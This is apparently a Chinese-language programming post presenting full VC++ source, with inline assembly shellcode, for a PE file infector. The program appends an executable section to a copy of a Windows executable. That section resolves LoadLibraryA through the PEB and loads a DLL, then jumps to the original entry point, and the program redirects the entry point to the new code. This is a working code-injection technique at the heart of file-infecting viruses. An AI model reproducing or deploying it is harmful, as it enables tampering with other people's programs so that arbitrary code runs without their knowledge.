VC++实现感染文件式加载DLL文件

 

源码分析如下

 

#include "windows.h"    #include "stdio.h"    //判断文件是否为合法PE文件    BOOL CheckPe(FILE* pFile)   {              fseek(pFile,0,SEEK_SET);       BOOL    bFlags=FALSE;       WORD    IsMZ;       DWORD   IsPE,pNT;       fread(&IsMZ,sizeof(WORD),1,pFile);       if(IsMZ==0x5A4D)       {           fseek(pFile,0x3c,SEEK_SET);           fread(&pNT,sizeof(DWORD),1,pFile);           fseek(pFile,pNT,SEEK_SET);           fread(&IsPE,sizeof(DWORD),1,pFile);           if(IsPE==0X00004550)               bFlags=TRUE;           else               bFlags=FALSE;       }       else           bFlags=FALSE;       fseek(pFile,0,SEEK_SET);       return bFlags;   }      //用来计算对齐数据后的大小    int alig(int size,unsigned int align)   {       if(size%align!=0)           return (size/align+1)*align;       else            return size;   }         int main(int argc,char* argv[])   {       if(argc!=2)       {           printf("\t\tusage:add_section filename\n");           exit(-1);       }       FILE* rwFile;       if((rwFile=fopen(argv[1],"rb"))==NULL)//打开文件失败则退出        {           printf("\t\tOpen file faild\n");           exit(-1);       }          if(!CheckPe(rwFile))       {           printf("\t\tinvalid pe......!\n");           exit(-1);       }       //备份原文件        char szNewFile[10]="_New.exe";       if(!CopyFile(argv[1],szNewFile,0)) //若备份文件出错则退出        {           printf("\t\tbak faild\n");           exit(-1);       }       IMAGE_NT_HEADERS NThea;        fseek(rwFile,0x3c,0);       DWORD pNT; //pNT中存放IMAGE_NT_HEADERS结构的地址        fread(&pNT,sizeof(DWORD),1,rwFile);       fseek(rwFile,pNT,0);       fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); //读取原文件的IMAGE_NT_HEADERS结构        //保存原文件区块数量与OEP        int nOldSectionNo=NThea.FileHeader.NumberOfSections;       int OEP=NThea.OptionalHeader.AddressOfEntryPoint;       //保存文件对齐值与区块对齐值        int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;       int FILE_ALIG=NThea.OptionalHeader.FileAlignment;          //定义要添加的区块        IMAGE_SECTION_HEADER    NewSection;       //将该结构全部清零        memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));       //再定义一个区块，来存放原文件最后一个区块的信息        IMAGE_SECTION_HEADER SEChea;        //读原文件最后一个区块的信息        fseek(rwFile,pNT+248,0);       for(int i=0;i<nOldSectionNo;i++)           fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);          FILE *newfile=fopen(szNewFile,"rb+");       if(newfile==NULL)       {           printf("\t\tOpen bak file faild\n");           exit(-1);       }       fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);       goto shellend;   __asm   {          shell:  PUSHAD           MOV EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB           MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针           MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针           MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针           MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址           MOV EBP,EAX     ;   将Kernel32.dll模块基址地址放至kernel中           MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS           MOV EAX,DWORD PTR [EBP+EAX+120] ;指向导出表           MOV ECX,[EBP+EAX+24]    ;取导出表中导出函数名字的数目           MOV EBX,[EBP+EAX+32]    ;取导出表中名字表的地址           ADD EBX,EBP           PUSH WORD  PTR 0X00         ;构造GetProcAddress字符串           PUSH DWORD PTR 0X73736572           PUSH DWORD PTR 0X64644163           PUSH DWORD PTR 0X6F725074           PUSH WORD PTR 0X6547           MOV  EDX,ESP           PUSH ECX                 F1:            MOV EDI,EDX           POP ECX           DEC ECX           TEST    ECX,ECX           JZ  EXIT           MOV ESI,[EBX+ECX*4]                ADD ESI,EBP           PUSH    ECX           MOV ECX,15           REPZ    CMPSB           TEST    ECX,ECX           JNZ F1                  POP ECX           MOV ESI,[EBP+EAX+36]    ;取得导出表中序号表的地址           ADD ESI,EBP           MOVZX   ESI,WORD PTR[ESI+ECX*2]     ;取得进入函数地址表的序号           MOV EDI,[EBP+EAX+28]    ;取得函数地址表的地址           ADD EDI,EBP           MOV EDI,[EDI+ESI*4]     ;取得GetProcAddress函数的地址           ADD EDI,EBP                               PUSH WORD PTR 0X00          ;构造LoadLibraryA字符串           PUSH DWORD PTR 0X41797261           PUSH DWORD PTR 0X7262694C           PUSH DWORD PTR 0X64616F4C           PUSH ESP           PUSH    EBP           CALL    EDI         ;调用GetProcAddress取得LoadLibraryA函数的地址           PUSH    WORD PTR 0X00       ;构造test符串，测试新增节后的EXE是否能正常加载test.dll           PUSH    DWORD PTR 0X74736574           PUSH    ESP           CALL    EAX   EXIT:   ADD ESP,36          ;平衡堆栈           POPAD   }   shellend:           char *pShell;           int nShellLen;   __asm   {           LEA EAX,shell           MOV pShell,EAX;           LEA EBX,shellend           SUB EBX,EAX           MOV nShellLen,EBX   }              //写入SHELLCODE,        for(i=0;i<nShellLen;i++)           fputc(pShell[i],newfile);       //SHELLCODE之后是跳转到原OEP的指令        NewSection.VirtualAddress=SEChea.VirtualAddress+alig(SEChea.Misc.VirtualSize,SECTION_ALIG);       BYTE jmp = 0xE9;       OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;       fwrite(&jmp, sizeof(jmp), 1, newfile);       fwrite(&OEP, sizeof(OEP), 1, newfile);       //将最后增加的数据用0填充至按文件中对齐的大小        for(i=0;i<alig(nShellLen,FILE_ALIG)-nShellLen-5;i++)           fputc('\0',newfile);       //新区块中的数据        strcpy((char*)NewSection.Name,".llydd");       NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;       NewSection.Misc.VirtualSize=nShellLen;       NewSection.SizeOfRawData=alig(nShellLen,FILE_ALIG);       NewSection.Characteristics=0xE0000020;//新区块可读可写可执行        fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);          //写入新的块表        fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);          int nNewImageSize=NThea.OptionalHeader.SizeOfImage+alig(nShellLen,SECTION_ALIG);       int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+alig(nShellLen,FILE_ALIG);       fseek(newfile,pNT,0);       NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;       NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;       NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;       NThea.OptionalHeader.SizeOfImage=nNewImageSize;       NThea.FileHeader.NumberOfSections=nOldSectionNo+1;       NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;       //写入更新后的PE头结构        fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);       printf("\t\tok.........!\n");          fclose(newfile);       fclose(rwFile);          return 1;       }